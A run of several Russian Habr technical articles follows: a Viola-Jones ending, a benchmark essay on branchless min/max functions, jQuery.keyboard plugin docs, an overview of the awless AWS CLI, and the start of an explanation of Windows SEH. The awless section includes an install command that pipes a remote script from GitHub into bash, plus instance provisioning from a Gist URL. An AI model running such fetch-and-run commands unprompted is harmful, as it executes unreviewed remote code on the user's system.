AdaBoost(P, N, ni)
Оценить полученный каскад на тестовом наборе для определения Fi и Di ;
Уменьшать порог для i-того классификатора, пока текущий каскад будет иметь уровень обнаружения по крайней мере d*Di-1 (это же касается Fi) ;
g) N = Ø;
h) Если Fi > Ftarget , то оценить текущий каскад на наборе изображений, не содержащих лиц, и добавить все неправильно классифицированные в N.`
#### Выводы
Был подробно рассмотрен механизм работы алгоритма Виолы-Джонса (Viola-Jones). Можно улучшить данный метод и модифицировать его, чего я добился в своей написанной программе — об этом будет рассказано в следующем моем топике.
##### Список литературы:
1. P. Viola and M.J. Jones, «Rapid Object Detection using a Boosted Cascade of Simple Features», proceedings IEEE Conf. on Computer Vision and Pattern Recognition (CVPR 2001), 2001
2. P. Viola and M.J. Jones, «Robust real-time face detection», International Journal of Computer Vision, vol. 57, no. 2, 2004., pp.137–154
3. Р.Гонсалес, Р.Вудс, «Цифровая обработка изображений», ISBN 5-94836-028-8, изд-во: Техносфера, Москва, 2005. – 1072 с.
4. Местецкий Л. М., «Математические методы распознавания образов», МГУ, ВМиК, Москва, 2002–2004., с. 42 – 44
5. Jan ˇSochman, Jiˇr´ı Matas, «AdaBoost», Center for Machine Perception, Czech Technical University, Prague, 2010
6. Yoav Freund, Robert E. Schapire, «A Short Introduction to Boosting», Shannon Laboratory, USA, 1999., pp. 771-780
**P.S.** За появление данной статьи благодарю тех людей, которые плюсанули позавчера мне, и у меня появилось 2 балла кармы, а следовательно, появилась возможность представить данную статью ХабраЮзерам. Всем хороших предстоящих выходных! | https://habr.com/ru/post/133826/ | null | ru | null |
# Объяснение эксперимента о ветвлениях, или философские изыскания на тему бенчмарков в вакууме и в… реальности
Надеюсь, кто хотел, ознакомился с моим пробным экспериментом на Хабре [в этой](https://habrahabr.ru/post/281629/) статье. Теперь я считаю, что будет правильным огласить его результаты и даже дать более детальное объяснения причин, по которым вообще подобные эксперименты проводятся. Пост будет наполовину философским, поскольку сейчас в компьютерном мире всё настолько сложно, что без философского осмысления принять какие-то осмысленные решения просто невозможно. Я постараюсь вообще выразить своё мнение о сферических измерениях в вакууме, поэтому будет много букв. В статье есть опрос, проводимый до 1-го мая 2016. Под катом целиком ИМХО.
В первую очередь, прошу обратить внимание на то, что эксперимент я назвал словом «**пробный**» – и это не случайно. Я задумал более детальное изучение особенностей разных алгоритмов, а для этого нужна помощь разных людей (хотя бы косвенная – что-то где-то запустить и сказать результат). Чтобы в будущем сложные эксперименты проходили достаточно гладко, нужно потренироваться, проверить вообще принципиальную возможность делать это подобным образом. Сообщество обычно любит пинать за ошибки в методологии исследования или организации, а мне как раз нужны были конструктивные указания на подобные ошибки. Таковые, к счастью, были.
Во-вторых, прошу меня извинить за то, что я забыл про необходимость хаотичного потока данных, из-за этого кому-то пришлось тестировать всё заново и возникла путаница в том, которую именно версию проверил очередной участник. В своей статье про [подсчёт единичных битов](https://habrahabr.ru/post/276957/) я очень хорошо помнил о важности случайного потока входных данных, а вот здесь почему-то забыл. Бывает. Но, как я сказал выше, это первая и самая важная для меня причина проведения пробного эксперимента, чтобы меньше ошибиться в серьёзных исследованиях и заблаговременно учесть возможные конструктивные советы.
Теперь поговорим о методологии самого исследования и о том, в чём вообще необходимость тестировать какие-либо функции на скорость. И есть ли она, эта необходимость. Отсюда и начнётся философия.
Пояснение к слову «ветвление»
=============================
Другая из моих ошибок, которые я допустил, в том, что я не пояснил что значит ветвление. Обычно меня мало интересуют академические термины, потому что зачастую они не имеют отношения к реальности, а потому приходится наделять многие слова собственным смыслом.
В той статье имелось в виду именно алгоритмическое (или логическое) ветвление, которое неизбежно появляется в логике программы при вычислении логического выражения и последующих действиях в зависимости от результата этого выражения. Таким образом, когда в коде программы мы видим условие, то по логике (именно по человеческой логике) это ветвление. Почему так? Дело в том, что ветвление вообще говоря сложно определить по нормальному, когда логика алгоритма переводится сначала на ЯП, затем компилятор переводит её на машинный язык, а затем сами инструкции процессора переводятся во внутренние, скажем, RISC-инструкции. На одном этапе ветвление есть, а ну другом нет… а потом снова может появиться.
То есть вы можете думать, что ветвления в вашей программе на языке Си нет, а на самом деле оно есть, или наоборот, вы написал код с ветвлением (в логике), а компилятор придумал, как это сделать без ветвлений в коде. Пример:
```
u64 a, c;
u32 b;
c = a / b;
```
Ветвления нет. Правда? На самом деле есть (по крайней мере после компилятора VC++ 2015). Дело в том, что при так называемом «2/1»-делении (когда нечто удвоенного размера делится на нечто одинарного размера) результат может иметь как одинарный, так и двойной размер. В первом случае данная процедура деления будет выполняться с одной инструкцией div, во втором случае – с двумя. Так вот, чтобы понять то, по какой ветке пойти при таком делении, нужно рассчитать размер частного и сделать выбор, этот выбор будет одним из ветвлений перед непосредственным делением. Ещё одним выбором может быть, например, проверка на деление на ноль (хотя обычно такой проверки нет). Короче, процедура деления не сводится к обычному div, это весьма сложная процедура. А программист, глядя на эту запись, может думать, что здесь линейный код.
Второй пример. Функция максимума может выглядеть так:
```
i32 max1 (i32 a, i32 b) {
return a ^ ((a ^ b) & -(a < b));
}
```
Здесь, очевидно, нет ветвлений на архитектуре x86, наверное, не будет их и на многих других архитектурах, хотя тут есть прямое логическое сравнение двух чисел. То есть по логике ветвление здесь есть, а по коду нет. Однако замените i32 на i64 и скомпилируйте программу в режиме x86. Ветвления сразу появятся. А вот в таком коде:
```
i32 maxi1 (i32 a, i32 b) {
i32 d = a-b;
return b + (d&(~(d^((a^b)&(d^a))) >> SHIFT));
}
```
Ветвлений нет в логике и не будет в программе ни при каком фиксированном размере переменной, которую поддерживает компилятор (речь идёт об x86 при правильной компиляции). Поэтому я и называю это единственным методом поиска максимума (из мне известных), который не содержит ветвлений.
К чему это я всё рассказываю?
Основная проблема программистов, которые немного знают о классических методах оптимизации программ, но не очень глубоко в них разбирались: желание избавляться от ветвлений везде, где только можно. Во-первых, это круто и красиво, во-вторых, можно блеснуть в глазах коллег по цеху, в-третьих, прикосновение к магии завораживает, как-то поднимает самооценку и вот вроде бы не зря живешь. Но очень редко в списке причин на самом деле лежит понимание того, как быстро или как медленно будет работать новый код. Избавляясь от ветвления, программист, во-первых, может его породить, а, во-вторых, может замедлить код из-за того, что новый алгоритм более сложен по своей структуре.
Я хотел показать, что каждому доступен простой эксперимент, который покажет, когда нужно и когда не нужно избавляться от ветвлений в логике. Мы берём разные реализации и сравниваем между собой хотя бы на сферических тестах в вакууме… и в этом есть смысл, о чём я и философствую дальше.
Методология эксперимента
========================
Разумеется, что каждый, кто серьёзно занимался оптимизацией программ, обратил внимание на сильную искусственность подобных замеров времени. Смотрите: мы берём функцию, создаём для её работы идеальные условия и тестируем её в этих идеальных условиях. В моём случае таким условием был простейший цикл. По времени работы этого цикла с вызовом функции в нём и по времени работы пустого цикла мы пытаемся узнать об эффективности самой функции… и кому-то могло показаться, что я так и делаю. На самом деле всё не так просто, потому что так делать нельзя.
В реальных условиях ваша функция будет окружена другим набором инструкций, цикл, в котором она будет запускаться, может оказаться более длинным и запутанным и время работы этой функции может оказаться абсолютно другим. В каком-то смысле такие бенчмарки, как у меня, напоминают показуху в каком-нибудь магазине, который решил посетить высокий чиновник: цены в нём неожиданно становятся в 10 раз ниже, а зарплата персонала в 10 раз выше… но ровно до тех пор, пока чиновник не уйдёт из магазина. Так зачем же вообще заниматься этим, если результат не отражает реальность? Потому что если правильно понимать словосочетание «отражает реальность», то всё встанет на свои места.
А дело всё в том, что я не делаю выводов о скорости работы функции отдельно. Я делаю вывод о том, которая из функций будет быстрее, а которая медленнее **именно в этих тепличных условиях**. При этом меня интересует **большой** отрыв по скорости, потому как небольшой отрыв часто затирается сложностью других участков программы, а вот большой отрыв гарантирует (по крайней мере, в моём опыте работы), что в реальных условиях разница будет такой же… при это НЕ важно, будет ли сама функция работать в 100 раз дольше по сравнению с идеальными условиями – выигрывать у более медленной она будет приблизительно с тем же отрывом, что я получаю в этих идеальных условиях. Честно скажу, я не знаю, так ли это в обычных бытовых задачах, но в научных расчётах, когда нужны миллионы машинных часов счёта, это можно считать аксиомой. В моей практике было только так и никак иначе. Теперь давайте попробуем философски осмыслить вообще ценность любого исследования.
В нашем мире значительная часть экспериментов (даже социальных) не лишена того недостатка, что все они искусственные, но по результатам этих экспериментов люди всё равно могут весьма достоверно предсказать некую ситуацию в реальности. Скажем, возьмите то же соревнование по стайерскому бегу. Несколько людей одеваются в беговые трусы, майку и «тапки» (иногда с шипами), делают специальную разминку, выходят на старт и начинают бежать по идеально гладкой и мягкой дорожке, например, 5 км. Это идеальные условия, в которых мастер спорта проходит дистанцию за 14 минут. Если нацепить на мастера валенки и заставить надеть шубу, то он пробежит ту же дистанцию медленнее, особенно по грязи и лужам, скажем, за 18-20 минут… но это всё равно быстрее, чем обычный неподготовленный человек пробежит даже в идеальных условиях. А в равных условиях у него вообще ноль шансов. Можно взять и другие обычные условия: нужно добежать до уходящего автобуса (или успеть на «зелёный» на пешеходном переходе). Простой вопрос: у кого больше шансов успеть на него при достаточно большой дистанции – у мастера по стайерскому бегу или у обычного человека? Понятно, что у первого, причём шансы практически не меняются в зависимости от формы одежды и многих других условий. Однако данное предположение (причём весьма надёжное) мы делаем только на основе того, что видели, как мастера бегают 5 км за 14 минут. Мы просто делаем предсказание на основе знаний, полученных в идеальных условиях. И с огромной вероятностью эти предсказания будут истинными в условиях реальных.
В мире программирования, конечно, всё гораздо сложнее. Например, с чего это я взял, что мои условия, описанные выше, идеальные? Это я их так назвал, а может оказаться, что в реальной программе компилятор найдет способ так «размазать» мою функцию по коду программы, что время её работы станет равным нулю (она будет вычислена параллельно с какими-нибудь сложными операциями неподалёку). Да, такое может быть, и при жёсткой оптимизации программ опытный программист попробует так изменить алгоритм, чтобы максимально сбалансировать команды для одновременного исполнения инструкций, входящих в них, а процессор потом на ходу перемешает эти инструкции ещё лучше. Но это другой разговор, потому что подобные оптимизации не выполняются отдельно для отдельных простых функций вроде sign или abs, всё делается иначе: мы берём узкий участок кода и смотрим на него целиком, на то, можно ли с ним что-то сделать (даже, может, полностью переклеить), чтобы его логический смысл остался прежним, но сложность уменьшилась. У нас ситуация иная: мы хотим выяснить то, насколько быстрой будет та или иная реализация отдельной небольшой функции, предполагая, что эта отдельная небольшая функция будет достаточно сильно нагружена в некотором процессе, но не настолько, чтобы как-то жёстко её оптимизировать и размазывать её по каким-то другим участкам программы.
Именно так часто и пишутся обычные эффективные программы: когда алгоритмическая эффективность устраивает программиста, он достигает дополнительной практической эффективности тем, что использует хорошо оптимизированные отдельные функции, но глубже не лезет, потому что это может оказаться накладно, и ему проще увеличить вдвое число ядер, чем потратить уйму времени, чтобы добиться такого же ускорения на прежнем их количестве. Вот эти хорошо оптимизированные функции пишутся… внимание… под идеальные условия! Та же библиотека MPIR для длинной арифметики, посмотрите код и увидите там множество реализаций функций низкого уровня, заточенных под разные процессоры, причём MPIR будет выигрывать у вашего самопального кода длинной арифметики как на тестах вроде моих (сферических в вакууме), так и в реальных условиях, когда данные имеют не очень предсказуемый характер (понятно, что победить MPIR можно и очень легко, когда заранее знаешь некоторые серьёзные особенности входящих чисел, но я говорю о том, когда не знаешь). И таких примеров в научном мире полно. Функция factor в Maple будет рвать вашу самопальную функцию факторизации полиномов как в идеальных условиях, когда вы измеряете время работы путём многократного повторения случайных тестов одного за другим, так и в реальных программах, где факторизация занимает ощутимую долю ваших вычислений (например, при какой-нибудь работе с рациональными дробями). Конечно, я допускаю то, что вы можете соревноваться с factor из Maple, но таких людей очень мало, а речь идёт об обычных пользователя, которые хотят написать более-менее хорошую программу, но затрудняются в выборе той или иной реализации сильно нагруженной функции.
Что я хочу сказать: не знаю, как в обычном IT-мире, но в научной вычислительной сфере существует чёткая корреляция между бенчмарками вроде моих (сферических) и реальным поведением тестируемых функций в сложных расчётах, когда эти функции вносят ощутимый вклад в сложность всей программы. То есть ежели некая функция f победила функцию g на сферических тестах в 10 раз, то примерно так же дело будет обстоять в реальной программе. И в этом я неоднократно убеждался с помощью профилировщика.
Поясню ещё один момент: в реальных задачах я не встречал необходимости оптимизировать функции min, max, sign и abs. Обычно они встречаются в группе значительно более сложных вычислений, поэтому совершенно незаметны в таблице с результатами профилировки. Просто я часто встречаю программистов, которые считают своим долгом исковеркать код на основе своих интуитивных предположений об оптимизации, тогда как узкое место их программы вообще в другой точке. Не надо так делать.
Тем не менее, мой эксперимент с этими функциями всё же имел для меня смысл, не смотря на искусственность и оторванность от реальности его кажущейся необходимости. Это я объясняю дальше.
Цели эксперимента
=================
Напомню, что **основной целью** было получить от сообщества обратную связь в виде замечаний, рекомендаций и вообще некоторого поведения. Анализируя всё это, я делаю выводы и могу теперь сделать аналогичные эксперименты более интересными и полезными. Здесь я лишь тренировался и выражаю благодарность всем, кто принял посильное участие.
**Вторая цель** – проверить качество измерения времени моим способом. Принимая во внимание тот факт, что у кого-то время получалось отрицательным, можно с уверенностью сказать, что над замерами придётся ещё подумать. Это хорошо, потому что аналогичный провал в серьёзном эксперименте был бы для меня очень тяжёлым испытанием.
**Третья цель** – проверить способность потенциальных участников на Хабре правильно воспринимать ситуацию и действовать с учётом даже возможных отклонений от плана. Такая способность меня вполне устраивает, хотя меня немного разочаровало то, что некоторые участники предоставляли результаты тестирования, когда программа компилировалась без каких-либо ключей оптимизации… я не знаю, какой смысл в таких измерениях. По крайней мере, в научных расчётах это может быть полезно только для отладки. Тут отчасти моя вина, что я не пояснил данный момент, хотя нужно было догадаться, что раз все программисты очень разные, нужно максимально точно формулировать условия. Подобные пробные эксперименты учат пониманию этого, что тоже полезно.
**Четвёртая цель** – посмотреть на соотношение времён работы функций на разных процессорах и с разными компиляторами. Вот здесь меня удивил один момент. У некоторых пользователей получалось, что функция minu0 работала в разы медленнее остальных семи функций для минимума и максимума. Вот примеры (это именно при хаотичной подаче данных):
```
Intel(R) Core(TM) i3-2100 CPU @ 3.10GHz
GCC 4.9.3-r3
Опции: -std=gnu++11 -O3
mini: 1.22 vs 2.59
maxi: 1.19 vs 2.71
minu: 13.64 vs 3.01
maxu: 1.21 vs 2.54
Intel Core i7-6700K CPU @ 4.00GHz
GCC 5.2.1
Опции: -O3 -std=gnu++11
mini: 0.49 vs 0.83
maxi: 0.48 vs 0.82
minu: 10.20 vs 0.74
maxu: 0.49 vs 0.91
Intel(R) Core(TM)2 Duo CPU E7300 @ 2.66GHz
GCC 4.8.4
Опции: g++ -std=gnu++11 -О3
sign: 12.95 vs 2.56
abs: 12.74 vs 0.91
mini: 2.31 vs 3.07
maxi: 2.19 vs 3.19
minu: 15.79 vs 3.54
maxu: 2.08 vs 3.77
Raspberry Pi 3, SoC: Broadcom BCM2837, CPU: ARM Cortex-A53 @ 1.2GHz
gcc version 4.9.2 (Raspbian 4.9.2-10)
options: -std=gnu++11 -O3
mini: 10.74 vs 17.93
maxi: 10.74 vs 14.33
minu: 24.63 vs 7.16
maxu: 10.74 vs 7.16
```
И так далее, этих примеров много. Причём здесь везде тупил GCC, потому как clang делал всё правильно:
```
Intel(R) Core(TM) i5-4210U CPU @ 1.70GHz:
Clang 3.7 with Microsoft CodeGen (v140_clang_3_7):
Full optimization (-O3)
mini: 0.41 vs 2.61
maxi: 0.35 vs 9.28
minu: 0.69 vs 2.96
maxu: 0.44 vs 8.83
```
Там же в комментариях ещё много примеров работы Clang. Не буду приводить примеры, но VC++ 2015 тоже сделал всё правильно. Таким образом, разработчикам компилятора GCC данные примеры должны быть полезны для отладки блока оптимизации. То есть мой эксперимент выявил косяк компилятора, который может проявиться потом где-то в серьёзной программе.
Можно выделить и некоторые другие результаты, заслуживающие внимания, например, в некоторых случаях страшная формула без ветвлений обнаруживает минимум или максимум быстрее формулы с ветвлением. Вот фрагмент:
```
Raspberry Pi 3, SoC: Broadcom BCM2837, CPU: ARM Cortex-A53 @ 1.2GHz
gcc version 4.9.2 (Raspbian 4.9.2-10)
options: -std=gnu++11 -O3
minu: 24.63 vs 7.16
maxu: 10.74 vs 7.16
```
В первой строке ясно – это глюк GCC, о котором я писал выше, а во второй именно поражение метода с ветвлением.
**Пятая цель** была косвенно обозначена выше – показать обычным программистам, что не нужно фанатично придерживаться какой-то догмы. В каждом случае свой вариант может оказаться лучше и нужно проводить тестирование, чтобы сделать выбор, а не полагаться на слепую уверенность, основанную на оптимизации под четвёртый пень, возникшую в те далёкие времена, когда они учились в университете.
**Шестая цель**, менее всего значимая, – мне нужно было поделиться своими материалами (ссылки [4-7] из предыдущей статьи), чтобы со временем получить обратную связь, понять, верно ли я двигаюсь, когда пишу подобные статьи наметить для себя дальнейший план работы и отыскать единомышленников. Эту обратную связь я пока не получил, но всему своё время.
**Седьмая цель**, косвенная, — получить повод написать этот пост, делясь в нём своими мыслями, и провести в нём голосование.
Предлагаю голосовать. Если 80% участников голосования посчитают, что имеет смысл продолжать похожие эксперименты на Хабре (разумеется, более аккуратно), я продолжу и шаг за шагом разберу много разных алгоритмов. Польза для сообщества – обучение, ведь в процессе экспериментов я всегда объясняю или показываю, где прочитать объяснение тех вещей, что тестируются. Другая польза – возможность проверить всё на своём компьютере. Польза для меня – критика, корректировка, подсказки и советы. Если 80% не наберётся, я соберу свою аудиторию для таких экспериментов сам, просто это займёт больше времени, но зато я не буду здесь мешаться.
Голосуем и до новых встреч: )
PS. Пояснение к голосованию: под «более серьёзным» экспериментом подразумевается не более сложный алгоритм (алгоритмы будут разными — от sign(x) до Шёнхаге — Штрассена), а я буду стараться как-то улучшать их качество и потенциальную ценность результата.
**UPD:** Голосование завершилось в пользу проведения более серьёзных экспериментов. Значит буду их готовить, всем спасибо за поддержку: ) | https://habr.com/ru/post/281769/ | null | ru | null |
# jQuery.keyboard v0.2.0
Снова приветствую Хабрасообщество. Недельку назад я [выкладывал свою либу jQuery.keyboard](http://habrahabr.ru/blogs/jquery/76424/). Там было несколько недостатков, нереализованных идей, да и огромное количество предложений и положительных отзывов побудили меня к быстрому написанию новой версии
Сразу хочу поблагодарить [greedykid](https://habrahabr.ru/users/greedykid/) за поддержку и дебагинг. Если понравится вам либа, то ему тоже можно (и нужно) кинуть плюс.
В силу того, что [баг с неправильными keyCode'ами](http://habrahabr.ru/blogs/javascript/76638/) оказался лично моей проблемой — я полностью переписал движок, что дало мне возможность сделать либу намного более функциональной и расширяемой. Также были пофиксены баги, обнаруженные в предыдущей версии. В этот раз, боюсь, фразой «По-моему, всё очень просто и очевидно» уже не отделаться, потому описываю многие возможности библиотеки (хотя вполне уверен, что что-то могу и забыть).
Тем не менее, что я считаю несомненным плюсом, она сохранила возможность остаться такой же простой, как и в прошлой версии
Примеры
-------
> `$.keyboard('(letters)+(numbers)',
>
> function (event) {
>
> // event[0].keyCode — letterKeyCode
>
> // event[1].keyCode — numberKeyCode
>
> }
>
> );`
Инструкция
----------
Итак, как повесить клавиатурное событие на объект. Кроме `$(obj).keyboard(/\*args\*/)` из предыдущей версии добавилась возможность вешать событие так: `$.keyboard(/\*args\*/)`, что равносильно `$(document).keyboard(/\*args\*/)`
Аргументы
---------
`$.keyboard(object defaultConfig)` — задать настройки по-умолчанию для всего документа
`$.keyboard(string keys*,[ object config,]*function fn)` — повесить функцию к объекту на определённое нажатие клавиш
`$.keyboard(string keys)` — удалить функцию на определённое нажатие клавиш
keys всё-еще могут быть массивом, но такой подход уже deprecated
Синтаксис keys:
---------------
Строка делится на неограниченное количество групп, разделяемых запятой: `«group1, group2, group3»`. Событие по очереди вешается на каждую из данных групп клавиш.
Каждая группа имеет следующий синтаксис: индексы разделяются пробелом или плюсом. Если индексы разделены пробелом, значит порядок неважен. Если плюсом — порядок важен. Совмещать пробел и плюс в одной группе — нельзя: `«key1+key2+key3, key4 key5 key6»` Каждый из индексов может быть или названием определенной клавиши([смотреть Таблицу Индексов](http://code.google.com/p/jquerykeyboard/wiki/Indexes)), или кодом возврата, Set'ом или Вариантами.
Set(или набор клавиш) — это набор схожих по группе клавиш. На данный момент есть [8 наборов по-умолчанию](http://code.google.com/p/jquerykeyboard/wiki/Sets). Также можно задавать промежутки, указывая начальный и последний индекс. Например, (a-k). Набор указывается в круглых скобках и означает любую из клавиш набора: `«key1+(a-c)+(numbers)»`.
Вариант — похож на Set, собранный вручную прям в строке из Индексов и Set'ов. Он обрамляется в квадратные скобки и его части разделяются символом «|»: `«[shift**|**alt**|**(letters)]»` означает shift, или alt, или любую букву.
Настройки плагина
-----------------
Настройки плагина — объект, состоящий (на данный момент) из трёх свойств (вот их значения по умолчанию):
`settings = {
strict : true,
event : 'keydown',
preventDefault : false
}`
(Strict == true) — означает, что данная комбинация не сработает, если нажаты какие-то клавиши, кроме тех, что указаны в комбинации
(Event) — означает событие при котором будет произведено действие. На данный момент доступны «keydown» и «keyup», но если необходимо — я могу добавить еще.
(preventDefault) — означает вызов соответствующего метода event'a. Стоит учесть, что, afaik, все default-события происходят при событии keydown, потому найболее ожидаемо оно будет работать именно в этом случае
Функции
-------
в функцию передается два аргумента: `func(events, bind)`. this ссылается на текущий jQuery-объект
в events находится массив event'ов нажатых клавиш (только тех, что есть в запросе), то есть, например, при вызове
`$.('(letters)+shift', function (e, bind) {})` по `e[0].keyCode` можно узнать, какая именно буква была нажата. Bind содержит след информацию (фактически, вся информация врядли понадобится кроме `bind.keys.group` — порядковый номер сработавшей группы. Например в `$.keyboard('alt, shift')` при нажатии `«alt»` `bind.keys.group` будет равен 0):
`bind = {
cfg : {}, // массив настроек, с которыми был вызванна данная группа
func : function // фактически — ссылка на текущую (вызванную функцию)
keys : {} // информаця о пропасенной строке
}`
Известные проблемы
------------------
1. Возможно, кое-где некорректно работает preventDefault (зависит от браузера?)
2. Нерешённая [проблема с нулевыми keyCode'ами](http://habrahabr.ru/blogs/javascript/76638/), которая, возможно, проявляется при неправильно настроенном драйвере клавиатуры, что, судя по статистике встречается крайне редко (пока обнаружено только у разработчика jQuery.keyboard). Кто знает что-нибудь о ней — приглашаем в [топик](http://habrahabr.ru/blogs/javascript/76638/)
Разное
------
1. С терминологией я пока не определился, потому предлагайте свои варианты.
2. Возможны незначительные изменения интерфейса, но я приложу всех усилий, чтобы новые версии были обратно-совместимые с предыдущими (хотя-бы с помощью соответствующей настройки)
3. Это версия 0.2.0, то есть вторая Beta
4. Принимаются пожелания и предложения
Ссылки
------
#### [Проект на гуглокоде](http://code.google.com/p/jquerykeyboard/)
[Демо](http://freecr.ru/jquery.keyboard/) | https://habr.com/ru/post/77021/ | null | ru | null |
# Awless — мощная альтернативная CLI-утилита для работы с сервисами AWS
Все пользователи облачных сервисов Amazon давно знают про родной консольный инструмент для работы с ними — aws-cli. Но оказалось, что далеко не всем его достаточно: по этой причине компания WALLIX выпустила альтернативное и более функциональное решение под названием [awless](https://github.com/wallix/awless).
Исходный код awless написан на языке Go (использует AWS Go SDK) и опубликован на GitHub под свободной лицензией (Apache License 2.0). Текущая версия awless — 0.1.0. Поддерживаются операционные системы GNU/Linux, Mac OS X и Windows. Что же позволяет эта утилита?
Возможности
-----------
Awless поддерживает работу со следующими сервисами/возможностями AWS:
* EC2;
* IAM;
* S3;
* RDS;
* Auto Scaling;
* SNS;
* SQS;
* Route53;
* CloudWatch;
* CloudFormation;
* Lambda.
Одной из главных особенностей утилиты является **вывод в разные форматы**: как в human-readable (таблицы, совместимые с разметкой Markdown), так и в машинные (CSV, TSV, JSON), что обеспечит удобство работы с данными в скриптах, использующих awless. Если же вы будете взаимодействовать с инструментом вручную, другая приятная опция — **автодополнение команд** (поддерживаются оболочки Bash и Zsh — как активировать, см. в выводе `awless completion`).
Ещё одна интересная возможность awless — **движок шаблонов для команд**, позволяющий создавать целые наборы операций, выполняемых в AWS (и запускаемых однострочной командой). Примером может служить уже встроенный в awless шаблон для создания нового экземпляра EC2:
```
$ awless create instance subnet=subnet-356d517f image=ami-70edb016 type=t2.micro
```
Особенностью такой команды является передача параметров в виде ключа-значения, которые используются для выполнения дополнительных операций (в данном случае — подсеть и образ AMI для запуска в новом экземпляре).
Среди прочих фич awless:
* фильтрация списков ресурсов по их свойствам и тегам;
* возможность использования произвольных алиасов для названий ресурсов;
* поддержка [AWS userdata](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) для **provisioning** (исполнения произвольных удалённых или локальных скриптов) на новых создаваемых экземплярах;
* **логирование** выполняемых операций (`awless log`);
* **отмена** ресурсов, созданных с помощью шаблонов (`awless revert` с идентификатором операции из журнала);
* простой SSH-доступ к экземплярам (`awless ssh`);
* просмотр данных о ресурсах в **offline** (требует предварительного запуска `awless sync` для локального хранения данных).
Установка
---------
Установка awless сводится к выполнению команды:
```
$ curl https://raw.githubusercontent.com/wallix/awless/master/getawless.sh | bash
```
… или (при наличии установленного Go):
```
$ go get -u github.com/wallix/awless
```
Кроме того, готовые архивы с awless для разных платформ доступны для скачивания на [странице с релизами](https://github.com/wallix/awless/releases/tag/v0.1.0).
Примеры использования awless
----------------------------
Разработчики подготовили классное **видео**, демонстрирующее работу с утилитой. Однако… в нём используется формат анимированного PNG — APNG, поэтому для просмотра в Chrome понадобится последняя версия 59 или [специальное дополнение](https://chrome.google.com/webstore/detail/apng/ehkepjiconegkhpodgoaeamnpckdbblp?hl=en), а поскольку очередной его просмотр в Firefox привёл к неадекватному потреблению памяти, оставлю это видео [ссылкой](https://raw.githubusercontent.com/wiki/wallix/awless/apng/awless-demo.png) вместо встраивания в пост.
Примеры конкретных операций (взяты из [документации](https://github.com/wallix/awless/wiki/Examples) и встроенной справки):
* Список экземпляров с сортировкой по времени их работы:
`$ awless list instances --sort uptime`
* Вывод пользователя по его имени или ID:
`$ awless show jsmith`
* Создание экземпляра и provision в него из Gist:
`$ awless create instance name=my_machine image=ami-3f1bd150 keypair={keypair.name} \
subnet={main.subnet} securitygroup={securitygroup} \
userdata=https://gist.github.com/simcap/360dffae4c6d76ab0e89621dd824a244`
* Определение политики для пользователя:
`$ awless attach policy user=jsmith arn=arn:aws:iam::aws:policy/AmazonEC2FullAccess`
* Загрузка локального файла в S3:
`$ awless create s3object bucket=my-existing-bucket file=./todolist.txt`
* Создание экземпляра и вход в него по SSH (по локальному ключу):
`$ awless run repo:instance_ssh
Please specify (Ctrl+C to quit):
instance.name ? my-new-instance-name
instance.subnet ? @my-existing-subnet
instance.vpc ? @my-existing-vpc
keypair.name ? my-new-keyname
$ awless ssh my-new-instance-name`
Заключение
----------
Количество звёзд awless на GitHub приближается к 3 тысячам, а это явный индикатор того, что подобного инструмента ждали. У проекта есть [wiki](https://github.com/wallix/awless/wiki), в которой можно получить больше информации по его установке и использованию. Кроме того, у всех команд есть достаточно подробная встроенная справка — флаг `-h` (например, `awless create instance -h`).
P.S.
----
Читайте также в нашем блоге:
* «[Проксируем файлы из AWS S3 средствами nginx](https://habr.com/company/flant/blog/426739/)»;
* «[Консольные помощники для работы с Kubernetes через kubectl](https://habr.com/company/flant/blog/341606/)». | https://habr.com/ru/post/330398/ | null | ru | null |
# Использование SEH в 32 разрядных приложениях Windows с компилятором Mingw-W64
#### Что такое SEH
Из всех механизмов, предоставляемых операционными системами семейства Windows, возможно наиболее широко используемым, но не полностью документированным, является механизм структурной обработки исключений (он же Structured Exception Handling, или просто – SEH). Структурная обработка исключений — это сервис, предоставляемый операционной системой, механизм обработки программных и аппаратных исключений в операционной системе Microsoft Windows, позволяющий программистам управлять обработкой исключений. Исключение — это событие при выполнении программы, которое приводит к её ненормальному или неправильному поведению.
Вся документация по SEH, которую вы, вероятно, найдете, описывает одну лишь компиляторно-зависимую оболочку, созданную функциями библиотеки времени выполнения (Run-Time-Library, RTL) вокруг реализации SEH операционной системы. В ключевых словах \_try, \_finally, или \_except, нет ничего магического. Группы разработчиков из Microsoft, занимающиеся разработкой операционных систем и компиляторов, определили эти ключевые слова, и то, что они делают. Другие поставщики компиляторов просто поддержали эту семантику. Видимые программисту инструменты SEH уровня компилятора призваны скрыть базовый механизм SEH уровня операционной системы, что позволяет не обнародовать детали функционирования последнего. Основные детали базового механизма SEH уровня ОС будут рассмотрены в этой статье. В статье отражены личные взгляды и предпочтения автора.
Основной смысл SEH состоит в следующем: когда выполняющийся поток совершает ошибку, ОС дает возможность узнать об этом. Точнее, когда поток совершает ошибку, ОС приостанавливает поток, сохраняет все регистры процессора в специальной структуре и из служебного потока, связанного с тем, который вызвал ошибку, вызывает определенную пользователем callback-функцию. Функциональность этой callback-функции в значительной степени не регламентирована, т.е. в процессе своей работы она может делать все, что угодно. Например, она может устранить причину ошибки, если это возможно. Независимо оттого, что эта callback-функция делает, она должна возвратить значение, которое скажет системе, что делать дальше. Эта callback-функция называется **exception handle**r(обработчик исключения). Для того, чтобы быть вызванной:
1. Функция обработчик исключения должна соответствовать прототипу
2. Адрес функции обработчика исключения должен быть указан в специальной структуре данных EXCEPTION\_REGISTRATION
3. Структура данных EXCEPTION\_REGISTRATION должна располагаться в стеке потока, который вызвал исключение с выравниванием адреса структуры и ее компонентов на адрес, кратный 4 (биты 0 и 1 адреса равны нулю)
4. Тело функции обработчика исключения не должно располагаться в стеке потока, который вызвал исключение
Значение, которое возвращает обработчик исключения, указывает ОС обработано ли исключение или нет.
#### Технические детали SEH
Прототип функции обработчика исключения:
```
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);
```
EXCEPTION\_DISPOSITION это макроопределение, имеющее тип int, \_EXCEPTION\_RECORD содержит информацию о произошедшем исключении, EstablisherFrame — адрес структуры EXCEPTION\_REGISTRATION в стеке потока, вызвавшего исключение, \_CONTEXT — адрес структуры содержащей все регистры процессора в момент возникновения исключения, DispatcherContext — служебая информация
Структура данных EXCEPTION\_REGISTRATION
```
_EXCEPTION_REGISTRATION struc
prev dd ?
handler dd ?
_EXCEPTION_REGISTRATION ends
```
